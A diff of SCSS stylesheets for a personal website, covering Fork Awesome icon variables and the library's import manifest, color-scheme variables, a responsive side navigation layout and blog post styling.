$fa-var-hourglass-end: \f253;
$fa-var-hourglass-half: \f252;
$fa-var-hourglass-o: \f250;
$fa-var-hourglass-start: \f251;
$fa-var-houzz: \f27c;
$fa-var-html5: \f13b;
$fa-var-hubzilla: \f2eb;
$fa-var-i-cursor: \f246;
$fa-var-id-badge: \f2c1;
$fa-var-id-card: \f2c2;
$fa-var-id-card-o: \f2c3;
$fa-var-ils: \f20b;
$fa-var-image: \f03e;
$fa-var-imdb: \f2d8;
$fa-var-inbox: \f01c;
$fa-var-indent: \f03c;
$fa-var-industry: \f275;
$fa-var-info: \f129;
$fa-var-info-circle: \f05a;
$fa-var-inkscape: \f312;
$fa-var-inr: \f156;
$fa-var-instagram: \f16d;
$fa-var-institution: \f19c;
$fa-var-internet-explorer: \f26b;
$fa-var-intersex: \f224;
$fa-var-ioxhost: \f208;
$fa-var-italic: \f033;
$fa-var-java: \f351;
$fa-var-jirafeau: \f318;
$fa-var-joomla: \f1aa;
$fa-var-joplin: \f310;
$fa-var-jpy: \f157;
$fa-var-jsfiddle: \f1cc;
$fa-var-julia: \f334;
$fa-var-jupyter: \f335;
$fa-var-key: \f084;
$fa-var-key-modern: \f2f7;
$fa-var-keybase: \f2f4;
$fa-var-keyboard-o: \f11c;
$fa-var-krw: \f159;
$fa-var-language: \f1ab;
$fa-var-laptop: \f109;
$fa-var-laravel: \f30b;
$fa-var-lastfm: \f202;
$fa-var-lastfm-square: \f203;
$fa-var-leaf: \f06c;
$fa-var-leanpub: \f212;
$fa-var-legal: \f0e3;
$fa-var-lemon-o: \f094;
$fa-var-level-down: \f149;
$fa-var-level-up: \f148;
$fa-var-liberapay: \f2e9;
$fa-var-liberapay-square: \f2e8;
$fa-var-life-bouy: \f1cd;
$fa-var-life-buoy: \f1cd;
$fa-var-life-ring: \f1cd;
$fa-var-life-saver: \f1cd;
$fa-var-lightbulb-o: \f0eb;
$fa-var-line-chart: \f201;
$fa-var-link: \f0c1;
$fa-var-linkedin: \f0e1;
$fa-var-linkedin-square: \f08c;
$fa-var-linode: \f2b8;
$fa-var-linux: \f17c;
$fa-var-list: \f03a;
$fa-var-list-alt: \f022;
$fa-var-list-ol: \f0cb;
$fa-var-list-ul: \f0ca;
$fa-var-location-arrow: \f124;
$fa-var-lock: \f023;
$fa-var-long-arrow-down: \f175;
$fa-var-long-arrow-left: \f177;
$fa-var-long-arrow-right: \f178;
$fa-var-long-arrow-up: \f176;
$fa-var-low-vision: \f2a8;
$fa-var-magic: \f0d0;
$fa-var-magnet: \f076;
$fa-var-mail-forward: \f064;
$fa-var-mail-reply: \f112;
$fa-var-mail-reply-all: \f122;
$fa-var-male: \f183;
$fa-var-map: \f279;
$fa-var-map-marker: \f041;
$fa-var-map-o: \f278;
$fa-var-map-pin: \f276;
$fa-var-map-signs: \f277;
$fa-var-mariadb: \f352;
$fa-var-markdown: \f353;
$fa-var-mars: \f222;
$fa-var-mars-double: \f227;
$fa-var-mars-stroke: \f229;
$fa-var-mars-stroke-h: \f22b;
$fa-var-mars-stroke-v: \f22a;
$fa-var-mastodon: \f2e1;
$fa-var-mastodon-alt: \f2e2;
$fa-var-mastodon-square: \f300;
$fa-var-matrix-org: \f313;
$fa-var-maxcdn: \f136;
$fa-var-meanpath: \f20c;
$fa-var-medium: \f23a;
$fa-var-medium-square: \f2f8;
$fa-var-medkit: \f0fa;
$fa-var-meetup: \f2e0;
$fa-var-meh-o: \f11a;
$fa-var-mercury: \f223;
$fa-var-microchip: \f2db;
$fa-var-microphone: \f130;
$fa-var-microphone-slash: \f131;
$fa-var-minus: \f068;
$fa-var-minus-circle: \f056;
$fa-var-minus-square: \f146;
$fa-var-minus-square-o: \f147;
$fa-var-mixcloud: \f289;
$fa-var-mobile: \f10b;
$fa-var-mobile-phone: \f10b;
$fa-var-modx: \f285;
$fa-var-money: \f0d6;
$fa-var-moon: \f328;
$fa-var-moon-o: \f186;
$fa-var-mortar-board: \f19d;
$fa-var-motorcycle: \f21c;
$fa-var-mouse-pointer: \f245;
$fa-var-music: \f001;
$fa-var-mysql: \f354;
$fa-var-navicon: \f0c9;
$fa-var-neuter: \f22c;
$fa-var-newspaper-o: \f1ea;
$fa-var-nextcloud: \f306;
$fa-var-nextcloud-square: \f307;
$fa-var-nodejs: \f308;
$fa-var-nordcast: \f355;
$fa-var-object-group: \f247;
$fa-var-object-ungroup: \f248;
$fa-var-odnoklassniki: \f263;
$fa-var-odnoklassniki-square: \f264;
$fa-var-open-collective: \f336;
$fa-var-opencart: \f23d;
$fa-var-openid: \f19b;
$fa-var-opera: \f26a;
$fa-var-optin-monster: \f23c;
$fa-var-orcid: \f337;
$fa-var-outdent: \f03b;
$fa-var-pagelines: \f18c;
$fa-var-paint-brush: \f1fc;
$fa-var-paper-plane: \f1d8;
$fa-var-paper-plane-o: \f1d9;
$fa-var-paperclip: \f0c6;
$fa-var-paragraph: \f1dd;
$fa-var-paste: \f0ea;
$fa-var-patreon: \f2f0;
$fa-var-pause: \f04c;
$fa-var-pause-circle: \f28b;
$fa-var-pause-circle-o: \f28c;
$fa-var-paw: \f1b0;
$fa-var-paypal: \f1ed;
$fa-var-peertube: \f2e4;
$fa-var-pencil: \f040;
$fa-var-pencil-square: \f14b;
$fa-var-pencil-square-o: \f044;
$fa-var-percent: \f295;
$fa-var-phone: \f095;
$fa-var-phone-square: \f098;
$fa-var-phone-volume: \f2a0;
$fa-var-photo: \f03e;
$fa-var-php: \f30e;
$fa-var-picture-o: \f03e;
$fa-var-pie-chart: \f200;
$fa-var-pinterest: \f0d2;
$fa-var-pinterest-p: \f231;
$fa-var-pinterest-square: \f0d3;
$fa-var-pixelfed: \f314;
$fa-var-plane: \f072;
$fa-var-play: \f04b;
$fa-var-play-circle: \f144;
$fa-var-play-circle-o: \f01d;
$fa-var-pleroma: \f324;
$fa-var-plug: \f1e6;
$fa-var-plume: \f356;
$fa-var-plus: \f067;
$fa-var-plus-circle: \f055;
$fa-var-plus-square: \f0fe;
$fa-var-plus-square-o: \f196;
$fa-var-podcast: \f2ce;
$fa-var-postgresql: \f357;
$fa-var-pound: \f154;
$fa-var-power-off: \f011;
$fa-var-print: \f02f;
$fa-var-product-hunt: \f288;
$fa-var-puzzle-piece: \f12e;
$fa-var-python: \f322;
$fa-var-qq: \f1d6;
$fa-var-qrcode: \f029;
$fa-var-question: \f128;
$fa-var-question-circle: \f059;
$fa-var-question-circle-o: \f29c;
$fa-var-quora: \f2c4;
$fa-var-quote-left: \f10d;
$fa-var-quote-right: \f10e;
$fa-var-ra: \f1d0;
$fa-var-random: \f074;
$fa-var-ravelry: \f2d9;
$fa-var-react: \f302;
$fa-var-rebel: \f1d0;
$fa-var-recycle: \f1b8;
$fa-var-reddit: \f1a1;
$fa-var-reddit-alien: \f281;
$fa-var-reddit-square: \f1a2;
$fa-var-refresh: \f021;
$fa-var-registered: \f25d;
$fa-var-remove: \f00d;
$fa-var-renren: \f18b;
$fa-var-reorder: \f0c9;
$fa-var-repeat: \f01e;
$fa-var-reply: \f112;
$fa-var-reply-all: \f122;
$fa-var-researchgate: \f338;
$fa-var-resistance: \f1d0;
$fa-var-retweet: \f079;
$fa-var-rmb: \f157;
$fa-var-road: \f018;
$fa-var-rocket: \f135;
$fa-var-rotate-left: \f0e2;
$fa-var-rotate-right: \f01e;
$fa-var-rouble: \f158;
$fa-var-rss: \f09e;
$fa-var-rss-square: \f143;
$fa-var-rub: \f158;
$fa-var-ruble: \f158;
$fa-var-rupee: \f156;
$fa-var-s15: \f2cd;
$fa-var-safari: \f267;
$fa-var-sass: \f358;
$fa-var-sass-alt: \f359;
$fa-var-save: \f0c7;
$fa-var-scissors: \f0c4;
$fa-var-scribd: \f28a;
$fa-var-scuttlebutt: \f2ea;
$fa-var-search: \f002;
$fa-var-search-minus: \f010;
$fa-var-search-plus: \f00e;
$fa-var-sellsy: \f213;
$fa-var-send: \f1d8;
$fa-var-send-o: \f1d9;
$fa-var-server: \f233;
$fa-var-shaarli: \f2f5;
$fa-var-shaarli-o: \f2f6;
$fa-var-share: \f064;
$fa-var-share-alt: \f1e0;
$fa-var-share-alt-square: \f1e1;
$fa-var-share-square: \f14d;
$fa-var-share-square-o: \f045;
$fa-var-shekel: \f20b;
$fa-var-sheqel: \f20b;
$fa-var-shield: \f132;
$fa-var-ship: \f21a;
$fa-var-shirtsinbulk: \f214;
$fa-var-shopping-bag: \f290;
$fa-var-shopping-basket: \f291;
$fa-var-shopping-cart: \f07a;
$fa-var-shower: \f2cc;
$fa-var-sign-in: \f090;
$fa-var-sign-language: \f2a7;
$fa-var-sign-out: \f08b;
$fa-var-signal: \f012;
$fa-var-signalapp: \f30c;
$fa-var-signing: \f2a7;
$fa-var-simplybuilt: \f215;
$fa-var-sitemap: \f0e8;
$fa-var-skate: \f35a;
$fa-var-sketchfab: \f35b;
$fa-var-skyatlas: \f216;
$fa-var-skype: \f17e;
$fa-var-slack: \f198;
$fa-var-sliders: \f1de;
$fa-var-slideshare: \f1e7;
$fa-var-smile-o: \f118;
$fa-var-snapchat: \f2ab;
$fa-var-snapchat-ghost: \f2ac;
$fa-var-snapchat-square: \f2ad;
$fa-var-snowdrift: \f2f1;
$fa-var-snowflake-o: \f2dc;
$fa-var-soccer-ball-o: \f1e3;
$fa-var-social-home: \f2ec;
$fa-var-sort: \f0dc;
$fa-var-sort-alpha-asc: \f15d;
$fa-var-sort-alpha-desc: \f15e;
$fa-var-sort-alpha-down: \f15d;
$fa-var-sort-alpha-up: \f15e;
$fa-var-sort-amount-asc: \f160;
$fa-var-sort-amount-desc: \f161;
$fa-var-sort-amount-down: \f160;
$fa-var-sort-amount-up: \f161;
$fa-var-sort-asc: \f0de;
$fa-var-sort-desc: \f0dd;
$fa-var-sort-down: \f0dd;
$fa-var-sort-numeric-asc: \f162;
$fa-var-sort-numeric-desc: \f163;
$fa-var-sort-numeric-down: \f162;
$fa-var-sort-numeric-up: \f163;
$fa-var-sort-up: \f0de;
$fa-var-soundcloud: \f1be;
$fa-var-space-shuttle: \f197;
$fa-var-spell-check: \f327;
$fa-var-spinner: \f110;
$fa-var-spoon: \f1b1;
$fa-var-spotify: \f1bc;
$fa-var-square: \f0c8;
$fa-var-square-o: \f096;
$fa-var-ssb: \f2ea;
$fa-var-stack-exchange: \f18d;
$fa-var-stack-overflow: \f16c;
$fa-var-star: \f005;
$fa-var-star-half: \f089;
$fa-var-star-half-empty: \f123;
$fa-var-star-half-full: \f123;
$fa-var-star-half-o: \f123;
$fa-var-star-o: \f006;
$fa-var-steam: \f1b6;
$fa-var-steam-square: \f1b7;
$fa-var-step-backward: \f048;
$fa-var-step-forward: \f051;
$fa-var-stethoscope: \f0f1;
$fa-var-sticky-note: \f249;
$fa-var-sticky-note-o: \f24a;
$fa-var-stop: \f04d;
$fa-var-stop-circle: \f28d;
$fa-var-stop-circle-o: \f28e;
$fa-var-street-view: \f21d;
$fa-var-strikethrough: \f0cc;
$fa-var-stumbleupon: \f1a4;
$fa-var-stumbleupon-circle: \f1a3;
$fa-var-subscript: \f12c;
$fa-var-subway: \f239;
$fa-var-suitcase: \f0f2;
$fa-var-sun: \f329;
$fa-var-sun-o: \f185;
$fa-var-superpowers: \f2dd;
$fa-var-superscript: \f12b;
$fa-var-support: \f1cd;
$fa-var-sync: \f021;
$fa-var-syncthing: \f311;
$fa-var-table: \f0ce;
$fa-var-tablet: \f10a;
$fa-var-tachometer: \f0e4;
$fa-var-tag: \f02b;
$fa-var-tags: \f02c;
$fa-var-tasks: \f0ae;
$fa-var-taxi: \f1ba;
$fa-var-telegram: \f2c6;
$fa-var-television: \f26c;
$fa-var-tencent-weibo: \f1d5;
$fa-var-terminal: \f120;
$fa-var-tex: \f35c;
$fa-var-text-height: \f034;
$fa-var-text-width: \f035;
$fa-var-textpattern: \f35d;
$fa-var-th: \f00a;
$fa-var-th-large: \f009;
$fa-var-th-list: \f00b;
$fa-var-themeisle: \f2b2;
$fa-var-thermometer: \f2c7;
$fa-var-thermometer-0: \f2cb;
$fa-var-thermometer-1: \f2ca;
$fa-var-thermometer-2: \f2c9;
$fa-var-thermometer-3: \f2c8;
$fa-var-thermometer-4: \f2c7;
$fa-var-thermometer-empty: \f2cb;
$fa-var-thermometer-full: \f2c7;
$fa-var-thermometer-half: \f2c9;
$fa-var-thermometer-quarter: \f2ca;
$fa-var-thermometer-three-quarters: \f2c8;
$fa-var-thumb-tack: \f08d;
$fa-var-thumbs-down: \f165;
$fa-var-thumbs-o-down: \f088;
$fa-var-thumbs-o-up: \f087;
$fa-var-thumbs-up: \f164;
$fa-var-ticket: \f145;
$fa-var-times: \f00d;
$fa-var-times-circle: \f057;
$fa-var-times-circle-o: \f05c;
$fa-var-times-rectangle: \f2d3;
$fa-var-times-rectangle-o: \f2d4;
$fa-var-tint: \f043;
$fa-var-tipeee: \f301;
$fa-var-toggle-down: \f150;
$fa-var-toggle-left: \f191;
$fa-var-toggle-off: \f204;
$fa-var-toggle-on: \f205;
$fa-var-toggle-right: \f152;
$fa-var-toggle-up: \f151;
$fa-var-tor-onion: \f32e;
$fa-var-trademark: \f25c;
$fa-var-train: \f238;
$fa-var-transgender: \f224;
$fa-var-transgender-alt: \f225;
$fa-var-trash: \f1f8;
$fa-var-trash-o: \f014;
$fa-var-tree: \f1bb;
$fa-var-trello: \f181;
$fa-var-tripadvisor: \f262;
$fa-var-trophy: \f091;
$fa-var-truck: \f0d1;
$fa-var-try: \f195;
$fa-var-tty: \f1e4;
$fa-var-tumblr: \f173;
$fa-var-tumblr-square: \f174;
$fa-var-turkish-lira: \f195;
$fa-var-tv: \f26c;
$fa-var-twitch: \f1e8;
$fa-var-twitter: \f099;
$fa-var-twitter-square: \f081;
$fa-var-umbrella: \f0e9;
$fa-var-underline: \f0cd;
$fa-var-undo: \f0e2;
$fa-var-unity: \f35e;
$fa-var-universal-access: \f29a;
$fa-var-university: \f19c;
$fa-var-unlink: \f127;
$fa-var-unlock: \f09c;
$fa-var-unlock-alt: \f13e;
$fa-var-unsorted: \f0dc;
$fa-var-unsplash: \f325;
$fa-var-upload: \f093;
$fa-var-usb: \f287;
$fa-var-usd: \f155;
$fa-var-user: \f007;
$fa-var-user-circle: \f2bd;
$fa-var-user-circle-o: \f2be;
$fa-var-user-md: \f0f0;
$fa-var-user-o: \f2c0;
$fa-var-user-plus: \f234;
$fa-var-user-secret: \f21b;
$fa-var-user-times: \f235;
$fa-var-users: \f0c0;
$fa-var-utensil-spoon: \f1b1;
$fa-var-utensils: \f0f5;
$fa-var-vcard: \f2bb;
$fa-var-vcard-o: \f2bc;
$fa-var-venus: \f221;
$fa-var-venus-double: \f226;
$fa-var-venus-mars: \f228;
$fa-var-viacoin: \f237;
$fa-var-viadeo: \f2a9;
$fa-var-viadeo-square: \f2aa;
$fa-var-video: \f03d;
$fa-var-video-camera: \f03d;
$fa-var-vimeo: \f27d;
$fa-var-vimeo-square: \f194;
$fa-var-vimeo-v: \f27d;
$fa-var-vine: \f1ca;
$fa-var-vk: \f189;
$fa-var-volume-control-phone: \f2a0;
$fa-var-volume-down: \f027;
$fa-var-volume-mute: \f32f;
$fa-var-volume-off: \f026;
$fa-var-volume-up: \f028;
$fa-var-warning: \f071;
$fa-var-wechat: \f1d7;
$fa-var-weibo: \f18a;
$fa-var-weixin: \f1d7;
$fa-var-whatsapp: \f232;
$fa-var-wheelchair: \f193;
$fa-var-wheelchair-alt: \f29b;
$fa-var-wifi: \f1eb;
$fa-var-wikidata: \f31a;
$fa-var-wikipedia-w: \f266;
$fa-var-window-close: \f2d3;
$fa-var-window-close-o: \f2d4;
$fa-var-window-maximize: \f2d0;
$fa-var-window-minimize: \f2d1;
$fa-var-window-restore: \f2d2;
$fa-var-windows: \f17a;
$fa-var-wire: \f32c;
$fa-var-won: \f159;
$fa-var-wordpress: \f19a;
$fa-var-wpbeginner: \f297;
$fa-var-wpexplorer: \f2de;
$fa-var-wpforms: \f298;
$fa-var-wrench: \f0ad;
$fa-var-xing: \f168;
$fa-var-xing-square: \f169;
$fa-var-xmpp: \f2f9;
$fa-var-y-combinator: \f23b;
$fa-var-y-combinator-square: \f1d4;
$fa-var-yahoo: \f19e;
$fa-var-yc: \f23b;
$fa-var-yc-square: \f1d4;
$fa-var-yelp: \f1e9;
$fa-var-yen: \f157;
$fa-var-yoast: \f2b1;
$fa-var-youtube: \f167;
$fa-var-youtube-play: \f16a;
$fa-var-youtube-square: \f166;
$fa-var-zotero: \f309;

View file

@ -0,0 +1,28 @@
/*!
Fork Awesome 1.2.0
License - https://forkaweso.me/Fork-Awesome/license
Copyright 2018 Dave Gandy & Fork Awesome
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
@import "variables";
@import "mixins";
@import "functions";
@import "path";
@import "core";
@import "larger";
@import "fixed-width";
@import "list";
@import "bordered-pulled";
@import "animated";
@import "rotated-flipped";
@import "stacked";
@import "icons";
@import "screen-reader";

View file

@ -1,53 +1,83 @@
@use "variables";
@import "colors";
@import "fonts";
:root {
--sansfont: "Inter", "Helvetica", "Arial", "Liberation Sans", sans-serif;
--monofont: "PragmataPro Mono Liga", "Roboto Mono", "Roboto Mono for Powerline", "Inconsolata",
"Consolas", monospace;
--breakpoint: 720px;
}
@media (prefers-color-scheme: light) {
:root {
--background-color: white;
--faded-background-color: darken(var(--background-color), 10%);
--shadow-color: darken($background-color, 10%);
--heading-color: darken(royalblue, 10%);
--text-color: #15202b;
--small-text-color: #6e707f;
--smaller-text-color: lighten($text-color, 30%);
--faded: lightgray;
--hr-color: lightgray;
--link-color: royalblue;
--code-color: firebrick;
--tag-color: lighten($link-color, 35%);
}
}
@media (prefers-color-scheme: dark) {
:root {
--background-color: #202030;
--faded-background-color: lighten($background-color, 10%);
--shadow-color: lighten($background-color, 10%);
--heading-color: lighten(lightskyblue, 20%);
--text-color: #cdcdcd;
--small-text-color: darken($text-color, 8%);
--smaller-text-color: darken($text-color, 12%);
--faded: #666;
--hr-color: gray;
--link-color: lightskyblue;
--code-color: lighten(firebrick, 25%);
--tag-color: darken($link-color, 55%);
}
}
body {
background-color: var(--background-color);
color: var(--text-color);
max-width: 1024px;
margin: auto;
width: 100%;
height: 1px;
min-height: 100vh;
font-family: var(--sansfont);
margin: 0;
padding: 0;
font-weight: normal;
}
*::selection,
body::selection,
div::selection,
code::selection {
background: var(--heading-color) !important;
color: var(--background-color) !important;
}
a {
color: var(--link-color);
text-decoration: none;
padding: 2px 4px;
border-radius: 2px;
&:hover {
// text-decoration: underline;
background-color: var(--link-hover-color);
}
}
code {
// font-size: 1.2em;
font-family: var(--monofont);
box-sizing: border-box;
padding: 1px 5px;
background-color: var(--faded-background-color);
// color: $code-color;
}
pre > code {
color: var(--text-color);
display: block;
padding: 5px;
overflow-x: auto;
font-family: var(--monofont);
line-height: 1.15rem;
}
a code {
color: var(--link-color);
}
small {
color: var(--small-text-color);
}
// Letter spacing
body {
letter-spacing: -0.025rem;
}
code,
pre > code {
font-size: 0.95rem;
letter-spacing: -0.035rem;
}
// Layout
@ -55,5 +85,30 @@ body {
.flex-wrapper {
display: flex;
flex-direction: row;
height: 100%;
align-items: stretch;
}
.flex-wrapper > main {
min-width: 0;
box-sizing: border-box;
padding: 20px;
padding-left: 30px;
}
@media screen and (max-width: variables.$breakpoint) {
.flex-wrapper {
flex-direction: column;
.container {
padding: 5px 20px;
}
}
}
@media screen and (min-width: variables.$breakpoint) {
.flex-wrapper {
flex-direction: row;
.container {
padding: 32px 40px 5px 40px;
}
}
}

View file

@ -1,44 +1,69 @@
@media screen and (min-width: var(--breakpoint)) {
.flex-wrapper {
flex-direction: row;
.container {
padding: 32px 40px 5px 40px;
}
}
@use "variables";
.side-nav {
position: sticky;
height: 100%;
left: 0;
top: 0;
// Capital Min to avoid invoking SCSS min
width: 30%;
min-width: 300px;
.side-nav .side-nav-content {
display: flex;
justify-content: center;
gap: 20px;
.side-nav-content {
padding-top: 32px;
padding-right: 32px;
padding-left: 32px;
border-right: 1px solid var(--shadow-color);
box-shadow: 10px 0 20px -10px var(--shadow-color);
.me {
display: flex;
justify-content: space-evenly;
flex-direction: column;
.portrait {
max-width: 100%;
}
h1.title {
text-align: center;
}
.links {
margin-bottom: 20px;
text-align: center;
font-size: 0.9rem;
display: grid;
grid-template-columns: repeat(3, 1fr);
row-gap: 6px;
a {
text-decoration: none;
color: var(--link-color);
text-transform: lowercase;
border-radius: 4px;
padding: 4px;
&:hover {
background-color: var(--link-hover-color);
}
}
}
}
.home-link {
text-decoration: none;
}
.portrait {
aspect-ratio: 1;
}
a.portrait {
all: unset;
cursor: pointer;
}
a.portrait img {
border-radius: 100%;
width: 100%;
height: 100%;
}
.bio {
font-size: 0.85rem;
ul {
padding-left: 12px;
list-style-type: "\25B8\00A0";
}
}
}
.side-nav-content {
@media screen and (max-width: variables.$breakpoint) {
.side-nav {
.side-nav-content {
width: 100%;
padding: 18px 0;
border-bottom: 1px solid var(--shadow-color);
@ -53,30 +78,46 @@
margin-bottom: 5px;
}
.portrait {
a.portrait img {
max-height: 80px;
}
.bio {
display: none;
}
}
.side-nav-content {
.home-link {
text-decoration: none;
}
.portrait {
border-radius: 100%;
}
.bio {
font-size: 0.85rem;
ul {
padding-left: 12px;
list-style-type: "\25B8\00A0";
}
}
}
@media screen and (min-width: variables.$breakpoint) {
.side-nav {
position: sticky;
height: 100%;
left: 0;
top: 0;
// Capital Min to avoid invoking SCSS min
width: 300px;
min-width: 300px;
.side-nav-content {
padding-top: 32px;
padding-right: 32px;
padding-left: 32px;
border-right: 1px solid var(--shadow-color);
box-shadow: 10px 0 20px -10px var(--shadow-color);
flex-direction: column;
a.portrait img {
max-width: 100%;
}
h1.title {
text-align: center;
}
.links {
// margin-bottom: 20px;
}
}
}
}

174
src/styles/post.scss Normal file
View file

@ -0,0 +1,174 @@
.post-title {
font-size: 2rem;
font-weight: 500;
margin-bottom: 12px;
}
.post-meta {
display: block;
margin-bottom: 20px;
}
.post-container {
display: flex;
flex-direction: column;
.toc-drawer {
display: block;
summary {
font-weight: bold;
}
}
.toc-list {
display: none;
}
/*
@media screen and (max-width: 520px) {
flex-direction: column;
.toc-drawer { display: block; }
.toc-list { display: none; }
}
@media screen and (min-width: 520px) {
flex-direction: row;
align-items: flex-start;
gap: 12px;
.toc-drawer { display: none; }
.toc-list {
top: 0;
display: block;
position: sticky;
min-width: 160px;
}
}
*/
.post-content {
ul:not(.tabs) {
padding-left: 1.5rem;
}
min-width: 1px;
details {
border: 1px solid var(--hr-color);
// padding: 10px 30px;
font-size: 0.9rem;
padding: 0 30px;
line-height: 1.5;
p:nth-of-type(1) {
padding-top: 0;
margin-top: 0;
}
summary {
padding: 10px 0;
transition: margin 150ms ease-out;
}
&[open] summary {
border-bottom: 1px dotted var(--hr-color);
margin-bottom: 15px;
}
}
hr {
border-width: 1px 0 0 0;
border-color: var(--hr-color);
margin: 32px auto;
width: 20%;
}
.highlight {
.lntd:first-child {
// border-right: 1px solid lightgray;
padding-right: 2px;
}
.lntd:last-child {
padding-left: 12px;
}
}
.highlight,
details {
margin-top: 16px;
margin-bottom: 16px;
}
}
&.logseq-post {
.post-content {
> ul {
list-style-type: none;
padding: 0;
> li {
margin-bottom: 1em;
}
}
}
}
.toc-draw #TableOfContents,
.toc-list #TableOfContents {
ul {
list-style-type: "\25B8\00A0";
padding-left: 1rem;
li {
margin-bottom: 0.5rem;
}
}
li ul {
margin-top: 0.5rem;
}
}
table {
border-collapse: collapse;
thead {
background-color: black;
}
td,
th {
padding: 5px 10px;
}
}
}
.division .post-content,
.post-content {
.heading {
font-weight: 500;
a {
color: var(--heading-color);
}
}
> p {
line-height: 1.5;
}
> p > img {
display: block;
margin: auto;
}
.footnotes {
font-size: 0.9em;
line-height: 1.2;
}
}
hr.endline {
margin-top: 30px;
border-width: 1px 0 0 0;
border-color: var(--hr-color);
}